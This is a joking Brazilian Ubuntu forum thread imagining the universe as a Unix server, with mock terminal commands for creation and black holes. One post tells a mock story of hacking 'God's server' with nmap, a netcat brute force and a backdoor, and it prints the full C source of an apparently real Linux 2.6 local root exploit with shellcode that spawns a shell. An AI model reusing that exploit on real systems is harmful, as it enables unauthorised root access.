Vestígios da formação do Firefox encontrados no espaço sideral longínquo

[glaubergoncalves]

Nosso companheiro de fórum LedStyle reporta no Planeta Ubuntu Brasil que o telescópio espacial Hubble captou com suas poderosas lentes o que seriam imagens dos primórdios da formação do navegador web Firefox. As imagens não deixam dúvidas, vejam o comparativo:



Isso reforça minha teoria de que o universo é opensource... []'s

Fontes: Planeta Ubuntu Brasil, Blog.Macmagazine, Newlaunches.com.

[Ioca100]

E ,ainda, existe uma teoria que o universo surgiu como se fosse um grande boot, agora esse Ffox,hehehe.

[achteutis]

bem, consultei o oráculo (google), e encontrei o texto primeiro sobre a teoria de que o universo é um holograma. (li primeiro em "planetary", gibi é cultura). no site da wikipedia, diz que

O princípio holográfico é uma conje(c)tura especulativa sobre teorias da gravidade quântica, proposta por Gerard 't Hooft e aperfeiçoada e difundida por Leonard Susskind, o qual afirma que toda a informação contida num volume de espaço pode ser representada por uma teoria que reside na fronteira daquela região. Em outras palavras, se você tiver um recinto fechado, pode modelar todos os eventos dentro daquele recinto criando uma teoria que só leva em conta o que acontece entre as paredes do aposento.

mas falta um trecho, que aparece na página da wikipedia em inglês:

In a larger sense, the theory suggests that the entire universe can be seen as a two dimensional information structure "painted" on a boundary surface, and that the three dimensions we observe are illusory.

traduzindo: "de um ponto de vista mais amplo, a teoria sugere que todo o universo pode ser visto como uma estrutura de informação bidimensional "pintada" em uma superfície-limite, e que as três dimensões que nós observamos são ilusórias".
resumo: será que o universo é um terminal rodando comandos? ou um texto, literatura? ou um quadro?

[glaubergoncalves]

Wake up Neo...

[Ioca100]

Sobre a teoria de que falei:     http://rbaba.wordpress.com/2007/08/20/vivendo-na-matrix/

[glaubergoncalves]

Sobre a teoria de que falei:     http://rbaba.wordpress.com/2007/08/20/vivendo-na-matrix/

Já tinha lido sobre essa teoria também, é muito interessante. Eu gosto muito desta aqui:

http://br.youtube.com/watch?v=lBY2EpVAWow&feature=related

[yzarc]

na filosofia essa coisa de matrix nao é novidade. mas essa do comp nao faz sentido pra mim pra mim é tudo sonho de jack ou do loker (lost)
hehehehehehe.

[IgorM0L]

Isso explica tudo!
  O Universo nada mais é que um servidor Unix.
  Quer ver? Vou te explicar o buraco negro usando essa teoria: ele nada mais é que quando movemos a matéria para /dev/null. Ou seja, o comando do buraco negro é sudo mv materia /dev/null

[kErNeL_sCrIpT]

bem, consultei o oráculo (google), e encontrei o texto primeiro sobre a teoria de que o universo é um holograma. (li primeiro em "planetary", gibi é cultura). no site da wikipedia, diz que

O princípio holográfico é uma conje(c)tura especulativa sobre teorias da gravidade quântica, proposta por Gerard 't Hooft e aperfeiçoada e difundida por Leonard Susskind, o qual afirma que toda a informação contida num volume de espaço pode ser representada por uma teoria que reside na fronteira daquela região. Em outras palavras, se você tiver um recinto fechado, pode modelar todos os eventos dentro daquele recinto criando uma teoria que só leva em conta o que acontece entre as paredes do aposento.

mas falta um trecho, que aparece na página da wikipedia em inglês:

In a larger sense, the theory suggests that the entire universe can be seen as a two dimensional information structure "painted" on a boundary surface, and that the three dimensions we observe are illusory.

traduzindo: "de um ponto de vista mais amplo, a teoria sugere que todo o universo pode ser visto como uma estrutura de informação bidimensional "pintada" em uma superfície-limite, e que as três dimensões que nós observamos são ilusórias".
resumo: será que o universo é um terminal rodando comandos? ou um texto, literatura? ou um quadro?

Pode ser verdade...

Compiz Fusion Skydome - Um plano reto... O Cubo.. são apenas coordenadas bidimencionais... o Cubo 3D é uma ilusão gerada por essas coordenadas 2D...

Li este post, logo em seguida fui para a sessão de Screenshots, daí vi essa imagem por acaso, e decidi voltar aqui pra postar...

[achteutis]

Pode ser verdade...

Compiz Fusion Skydome - Um plano reto... O Cubo.. são apenas coordenadas bidimencionais... o Cubo 3D é uma ilusão gerada por essas coordenadas 2D...

Li este post, logo em seguida fui para a sessão de Screenshots, daí vi essa imagem por acaso, e decidi voltar aqui pra postar...

nossa! mito, religião, tecnologia, tudo junto!

Isso explica tudo!
  O Universo nada mais é que um servidor Unix.
  Quer ver? Vou te explicar o buraco negro usando essa teoria: ele nada mais é que quando movemos a matéria para /dev/null. Ou seja, o comando do buraco negro é sudo mv materia /dev/null

hahaha, muito bom, exemplo perfeito, metáfora perfeita. talvez a linha de comando seja essa mesmo! resta saber onde está o terminal!

[kakita]

na filosofia essa coisa de matrix nao é novidade. mas essa do comp nao faz sentido pra mim pra mim é tudo sonho de jack ou do loker (lost)
hehehehehehe.

acho que é uma viagem no tempo de desmond
rsrsrs

[IgorM0L]

Pode ser verdade...

Compiz Fusion Skydome - Um plano reto... O Cubo.. são apenas coordenadas bidimencionais... o Cubo 3D é uma ilusão gerada por essas coordenadas 2D...

Li este post, logo em seguida fui para a sessão de Screenshots, daí vi essa imagem por acaso, e decidi voltar aqui pra postar...

nossa! mito, religião, tecnologia, tudo junto!

Isso explica tudo!
  O Universo nada mais é que um servidor Unix.
  Quer ver? Vou te explicar o buraco negro usando essa teoria: ele nada mais é que quando movemos a matéria para /dev/null. Ou seja, o comando do buraco negro é sudo mv materia /dev/null

hahaha, muito bom, exemplo perfeito, metáfora perfeita. talvez a linha de comando seja essa mesmo! resta saber onde está o terminal!

Acho que ele esta em um nível do espaço-tempo que ainda não encontramos e é dominador por Deus... pensem se conseguirmos encontra-lo? Seriámos os donos do Universo. O problema é se ele usar Windows e acabar sendo infectado por forças diabólicas.
  Talvez o diabo seja o BSD.

[kErNeL_sCrIpT]

O processo de criação do universo, humanos e vida foi todo através do Terminal.
Veja como tudo aconteceu:

criador@gnu-kernel-0.0.0.0# mkfs.ext3 -v /
criador@gnu-kernel-0.0.1.0# mkdir /galaxias
criador@gnu-kernel-0.1.0.0# mkdir /galaxias/vialactea
criador@gnu-kernel-1.0.0.0# mkdir /galaxias/vialactea/terra
criador@gnu-kernel-1.0.1.0# mkdir /seres
criador@gnu-kernel-0.1.0.0# vin /seres/humanos
criador@gnu-kernel-2.0.0.0# vin /vida.sh
criador@gnu-kernel-2.0.0.0# cp -a /seres/humanos /galaxias/vialactea/terra
criador@gnu-kernel-2.0.0.0# cp /vida.sh /galaxias/vialactea/terra/humanos
criador@gnu-kernel-2.0.0.0# cd /galaxias/vialactea/terra/humanos
criador@gnu-kernel-2.0.1.0# vida.sh

Quando um usuário (como o Humano por exemplo...) destrói o seu próprio Sistema Operacional (Como a Terra por exemplo...), então entra em ação o "Move-To-Null", processo que visa limpar planetas e galáxias (SO e Kernels) inúteis destruídos por seus habitantes (Usuários):

criador@gnu-*kernel# mv materia-inutil /dev/null

O criador previu que uma de suas raças iria levar o universo ao colapso (Humanos...?) e ignorantemente tentar tomar o seu lugar, então criou o seguinte:

criador@gnu-*kernel# mkdir /.emergencia
criador@gnu-*kernel# vim /.emergencia/fim.sh
criador@gnu-*kernel# vim /.emergencia/condicao.sh
criador@gnu-*kernel# mkdir /udev/rules.a
criador@gnu-*kernel# vim /udev/rules.a/BUS=="ser", ACTION=="destruir", RUN="/.emergencia/condicao.sh /.emergencia/fim.sh"

Dentro desta condição foi posto os critérios julgadores, que cabe a nós compreender e respeitar para que o pior não aconteça...



Aproveitei o tom interessante e divertido do tópico pra exercitar comandos Bash

[IgorM0L]

  Talvez possamos conseguir uma vulnerabilidade no kernel do criador.
  Scaneando os IPs, percebi que o criado usa o IP 7.7.7.7 - sem comentários. Então usei o nmap para verificar as portas abertas, e percebi que a porta 10 do pulgatório estava aberta, vejam:

Código Selecionar Expandir

igormol@desktop:~$ nmap 7.7.7.7

Starting Nmap 4.20 ( http://insecure.org ) at 2008-04-14 17:30 BRT
Interesting ports on localhost (127.0.0.1):
Not shown: 1692 closed ports
PORT     STATE SERVICE
10/tcp   open  pulgatório
100/tcp  open  céu
666/tcp open  inferno

Nmap finished: 1 IP address (1 host up) scanned in 0.147 seconds

  Então tentei rodar um brute-force no pulgatório:

Código Selecionar Expandir

igormol@desktop:~$ nc -vv 7.7.7.7 10 < ./wordlist
  E depois de muito tempo eu consegui o Password Divino.
  Então quando fui acessar o FTP do pulgatório e enviei um backdoor para o diretório /tmp que abria a porta 72.
  Acessei o mesmo pela porta 72 e verifiquei qual kernel ele usava:

Código Selecionar Expandir

igormol@desktop:~$  nv -vv 7.7.7.7 7777
uname -r
2.6.17.4
  Logo vi que havia uma vulnerabilidade para tal kernel, então compilei o seguinte código fonte e enviei para o FTP server:

Código Selecionar Expandir

Rated as : Critical Risk
/*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit <very big file on the disk>
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/* h00lyshit shell code */
__asm__ (" __excode: call 1f \n"
" 1: mov $23, %eax \n"
" xor %ebx, %ebx \n"
" int $0x80 \n"
" pop %eax \n"
" mov $cmd-1b, %ebx \n"
" add %eax, %ebx \n"
" mov $arg-1b, %ecx \n"
" add %eax, %ecx \n"
" mov %ebx, (%ecx) \n"
" mov %ecx, %edx \n"
" add $4, %edx \n"
" mov $11, %eax \n"
" int $0x80 \n"
" mov $1, %eax \n"
" int $0x80 \n"
" arg: .quad 0x00, 0x00 \n"
" cmd: .string \"/bin/sh\" \n"
" __excode_e: nop \n"
" .global __excode \n"
" .global __excode_e \n"
);



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/* exploit this shit */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to exploit %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,
0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd,
0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {    
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error
("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();
    }
  else
    {
    nice(10);
    while (!(*c));
sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
    exploit (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
{
  e[j++] = &p[k];
  k = i + 1;
}
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}


Código Selecionar Expandir

igormol@desktop:~$ gcc h00lyshit.c -o h00lyshit
  Rodei o código via backdoor e logo vi que eu era o usuário ROOT! Eu me tornará por poucos momentos Deus!
  Acontece que o script de emergência foi executado por alguns daemons - não seria melhor angels?, e provavelmente Deus usou o comando:

Código Selecionar Expandir

criador@gnu-kernel-2.6.24#rmuser igormol && mv /home/igormol /dev/inferno
  Hoje vivo no dispositivo de bloco inverno, mas talvez um dia ele faça backup e eu volte para o diretório Terra.

[achteutis]

O processo de criação do universo, humanos e vida foi todo através do Terminal.
Veja como tudo aconteceu:

Código:

igormol@desktop:~$ gcc h00lyshit.c -o h00lyshit

  Rodei o código via backdoor e logo vi que eu era o usuário ROOT! Eu me tornará por poucos momentos Deus!
  Acontece que o script de emergência foi executado por alguns daemons - não seria melhor angels?, e provavelmente Deus usou o comando:
Código:

criador@gnu-kernel-2.6.24#rmuser igormol && mv /home/igormol /dev/inferno

  Hoje vivo no dispositivo de bloco inverno, mas talvez um dia ele faça backup e eu volte para o diretório Terra.

hehehehehehe

to rindo até agora, demais.

mas segundo alguns, o universo teria sido criado por chuck norris, que teria digitado os comandos

Código Selecionar Expandir

try
{
continue:
    while(true)
    {
        kick();
    }
}
catch(ChuckNorrisException e)
{
    System.flayKickFinally();
    do continue; (Note que isto é possível somente para Chuck Norris)
}


tenho cá minhas dúvidas.